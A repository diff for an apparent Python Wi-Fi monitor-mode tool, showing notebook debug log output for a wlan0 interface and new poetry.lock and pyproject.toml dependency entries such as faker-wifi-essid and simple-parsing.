"DEBUG: Kwargs: ${'interface': 'wlan0', 'mon_type': 'switch', 'valid_file': 'ct_valid.csv', 'channels': '1,7,6,11'}\n",
"DEBUG: Interface: $wlan0\n",
"DEBUG: Self Interface: $wlan0\n",
"DEBUG: Monitor Type: $switch\n",
"DEBUG: Kwargs: ${}\n",
"DEBUG: Interface: $None\n",
"DEBUG: Self Interface: $None\n",
"DEBUG: Monitor Type: $None\n",
"DEBUG: Monitor Type:\n",
"DEBUG: mac_address: $3d:1d:06:fd:9b:e1\n",
"DEBUG: Monitor Type: $None\n",
"INFO: Starting monitor interface\n",
"DEBUG: Invalid monitor type\n",
"```"
]
}
],
"metadata": {
@ -1930,7 +1973,7 @@
},
"language_info": {
"name": "python",
"version": "3.11.5"
"version": "3.11.6"
},
"orig_nbformat": 4
},

117
poetry.lock generated
View file

@ -62,6 +62,49 @@ files = [
{file = "daemonize-2.5.0.tar.gz", hash = "sha256:dd026e4ff8d22cb016ed2130bc738b7d4b1da597ef93c074d2adb9e4dea08bc3"},
]
[[package]]
name = "docstring-parser"
version = "0.15"
description = "Parse Python docstrings in reST, Google and Numpydoc format"
optional = false
python-versions = ">=3.6,<4.0"
files = [
{file = "docstring_parser-0.15-py3-none-any.whl", hash = "sha256:d1679b86250d269d06a99670924d6bce45adc00b08069dae8c47d98e89b667a9"},
{file = "docstring_parser-0.15.tar.gz", hash = "sha256:48ddc093e8b1865899956fcc03b03e66bb7240c310fac5af81814580c55bf682"},
]
[[package]]
name = "faker"
version = "13.16.0"
description = "Faker is a Python package that generates fake data for you."
optional = false
python-versions = ">=3.6"
files = [
{file = "Faker-13.16.0-py3-none-any.whl", hash = "sha256:920f94d5aa865fd922bc29f2cf75c75b4d86b30eec23e7174d7513241b759b05"},
{file = "Faker-13.16.0.tar.gz", hash = "sha256:25c5be99bc5fd8676eea8c1490e0de87f6d9734651c7af2cefc99b322b2936f4"},
]
[package.dependencies]
python-dateutil = ">=2.4"
[[package]]
name = "faker-wifi-essid"
version = "0.4.1"
description = "Faker provider for Wi-Fi ESSIDs."
optional = false
python-versions = "<4,>=3.7"
files = [
{file = "faker_wifi_essid-0.4.1-py3-none-any.whl", hash = "sha256:857d2fca6f1d0571a7fb732c80d300e8f4c1e2cffc9c69eae1ad972a6514b99f"},
{file = "faker_wifi_essid-0.4.1.tar.gz", hash = "sha256:8d536351a28b83bb99d3ad204df38ab38478e53b5b83a1f138d6e33b987e417b"},
]
[package.dependencies]
Faker = ">=4.1,<14.0"
[package.extras]
docs = ["Sphinx (>=3.2)", "sphinx-rtd-theme (>=0.5.0)"]
tests = ["flake8", "pylint", "tox"]
[[package]]
name = "getmac"
version = "0.9.4"
@ -107,6 +150,47 @@ files = [
{file = "numpy-1.25.2.tar.gz", hash = "sha256:fd608e19c8d7c55021dffd43bfe5492fab8cc105cc8986f813f8c3c048b38760"},
]
[[package]]
name = "numpy"
version = "1.26.1"
description = "Fundamental package for array computing in Python"
optional = false
python-versions = "<3.13,>=3.9"
files = [
{file = "numpy-1.26.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82e871307a6331b5f09efda3c22e03c095d957f04bf6bc1804f30048d0e5e7af"},
{file = "numpy-1.26.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cdd9ec98f0063d93baeb01aad472a1a0840dee302842a2746a7a8e92968f9575"},
{file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d78f269e0c4fd365fc2992c00353e4530d274ba68f15e968d8bc3c69ce5f5244"},
{file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ab9163ca8aeb7fd32fe93866490654d2f7dda4e61bc6297bf72ce07fdc02f67"},
{file = "numpy-1.26.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:78ca54b2f9daffa5f323f34cdf21e1d9779a54073f0018a3094ab907938331a2"},
{file = "numpy-1.26.1-cp310-cp310-win32.whl", hash = "sha256:d1cfc92db6af1fd37a7bb58e55c8383b4aa1ba23d012bdbba26b4bcca45ac297"},
{file = "numpy-1.26.1-cp310-cp310-win_amd64.whl", hash = "sha256:d2984cb6caaf05294b8466966627e80bf6c7afd273279077679cb010acb0e5ab"},
{file = "numpy-1.26.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cd7837b2b734ca72959a1caf3309457a318c934abef7a43a14bb984e574bbb9a"},
{file = "numpy-1.26.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1c59c046c31a43310ad0199d6299e59f57a289e22f0f36951ced1c9eac3665b9"},
{file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d58e8c51a7cf43090d124d5073bc29ab2755822181fcad978b12e144e5e5a4b3"},
{file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6081aed64714a18c72b168a9276095ef9155dd7888b9e74b5987808f0dd0a974"},
{file = "numpy-1.26.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:97e5d6a9f0702c2863aaabf19f0d1b6c2628fbe476438ce0b5ce06e83085064c"},
{file = "numpy-1.26.1-cp311-cp311-win32.whl", hash = "sha256:b9d45d1dbb9de84894cc50efece5b09939752a2d75aab3a8b0cef6f3a35ecd6b"},
{file = "numpy-1.26.1-cp311-cp311-win_amd64.whl", hash = "sha256:3649d566e2fc067597125428db15d60eb42a4e0897fc48d28cb75dc2e0454e53"},
{file = "numpy-1.26.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1d1bd82d539607951cac963388534da3b7ea0e18b149a53cf883d8f699178c0f"},
{file = "numpy-1.26.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:afd5ced4e5a96dac6725daeb5242a35494243f2239244fad10a90ce58b071d24"},
{file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a03fb25610ef560a6201ff06df4f8105292ba56e7cdd196ea350d123fc32e24e"},
{file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcfaf015b79d1f9f9c9fd0731a907407dc3e45769262d657d754c3a028586124"},
{file = "numpy-1.26.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e509cbc488c735b43b5ffea175235cec24bbc57b227ef1acc691725beb230d1c"},
{file = "numpy-1.26.1-cp312-cp312-win32.whl", hash = "sha256:af22f3d8e228d84d1c0c44c1fbdeb80f97a15a0abe4f080960393a00db733b66"},
{file = "numpy-1.26.1-cp312-cp312-win_amd64.whl", hash = "sha256:9f42284ebf91bdf32fafac29d29d4c07e5e9d1af862ea73686581773ef9e73a7"},
{file = "numpy-1.26.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bb894accfd16b867d8643fc2ba6c8617c78ba2828051e9a69511644ce86ce83e"},
{file = "numpy-1.26.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e44ccb93f30c75dfc0c3aa3ce38f33486a75ec9abadabd4e59f114994a9c4617"},
{file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9696aa2e35cc41e398a6d42d147cf326f8f9d81befcb399bc1ed7ffea339b64e"},
{file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5b411040beead47a228bde3b2241100454a6abde9df139ed087bd73fc0a4908"},
{file = "numpy-1.26.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1e11668d6f756ca5ef534b5be8653d16c5352cbb210a5c2a79ff288e937010d5"},
{file = "numpy-1.26.1-cp39-cp39-win32.whl", hash = "sha256:d1d2c6b7dd618c41e202c59c1413ef9b2c8e8a15f5039e344af64195459e3104"},
{file = "numpy-1.26.1-cp39-cp39-win_amd64.whl", hash = "sha256:59227c981d43425ca5e5c01094d59eb14e8772ce6975d4b2fc1e106a833d5ae2"},
{file = "numpy-1.26.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:06934e1a22c54636a059215d6da99e23286424f316fddd979f5071093b648668"},
{file = "numpy-1.26.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76ff661a867d9272cd2a99eed002470f46dbe0943a5ffd140f49be84f68ffc42"},
{file = "numpy-1.26.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6965888d65d2848e8768824ca8288db0a81263c1efccec881cb35a0d805fcd2f"},
{file = "numpy-1.26.1.tar.gz", hash = "sha256:c8c6c72d4a9f831f328efb1312642a1cafafaa88981d9ab76368d50d07d93cbe"},
]
[[package]]
name = "pandas"
version = "2.1.0"
@ -269,6 +353,26 @@ basic = ["ipython"]
complete = ["cryptography (>=2.0)", "ipython", "matplotlib", "pyx"]
docs = ["sphinx (>=3.0.0)", "sphinx_rtd_theme (>=0.4.3)", "tox (>=3.0.0)"]
[[package]]
name = "simple-parsing"
version = "0.1.4"
description = "A small utility for simplifying and cleaning up argument parsing scripts."
optional = false
python-versions = ">=3.7"
files = [
{file = "simple_parsing-0.1.4-py3-none-any.whl", hash = "sha256:1fb042499d8872090ed3aad1f60f4d53026d2062942196a600933bc83787328e"},
{file = "simple_parsing-0.1.4.tar.gz", hash = "sha256:312300327d8f0beb61b6419500423bd335be8b83da66f733e9c67c6c18341ae8"},
]
[package.dependencies]
docstring-parser = ">=0.15,<1.0"
typing-extensions = ">=4.5.0"
[package.extras]
all = ["numpy", "pytest", "pytest-benchmark", "pytest-regressions", "pytest-xdist", "pyyaml"]
test = ["numpy", "pytest", "pytest-benchmark", "pytest-regressions", "pytest-xdist"]
yaml = ["pyyaml"]
[[package]]
name = "six"
version = "1.16.0"
@ -280,6 +384,17 @@ files = [
{file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"},
]
[[package]]
name = "typing-extensions"
version = "4.8.0"
description = "Backported and Experimental Type Hints for Python 3.8+"
optional = false
python-versions = ">=3.8"
files = [
{file = "typing_extensions-4.8.0-py3-none-any.whl", hash = "sha256:8f92fc8806f9a6b641eaa5318da32b44d401efaac0f6678c9bc448ba3605faa0"},
{file = "typing_extensions-4.8.0.tar.gz", hash = "sha256:df8e4339e9cb77357558cbdbceca33c303714cf861d1eef15e1070055ae8b7ef"},
]
[[package]]
name = "tzdata"
version = "2023.3"
@ -294,4 +409,4 @@ files = [
[metadata]
lock-version = "2.0"
python-versions = "^3.11"
content-hash = "702716ded3abdf2ecab3886daff93dead616d85f74182b162e46ea2dd1dcf837"
content-hash = "04596bf28419e3f62541cfe785f8cba26bfab7e5e44f31efbe737947c39324ec"

View file

@ -17,6 +17,8 @@ pandas = "^2.1.0"
daemon = "^1.2"
daemonize = "^2.5.0"
getmac = "^0.9.4"
faker-wifi-essid = "^0.4.1"
simple-parsing = "^0.1.4"
[build-system]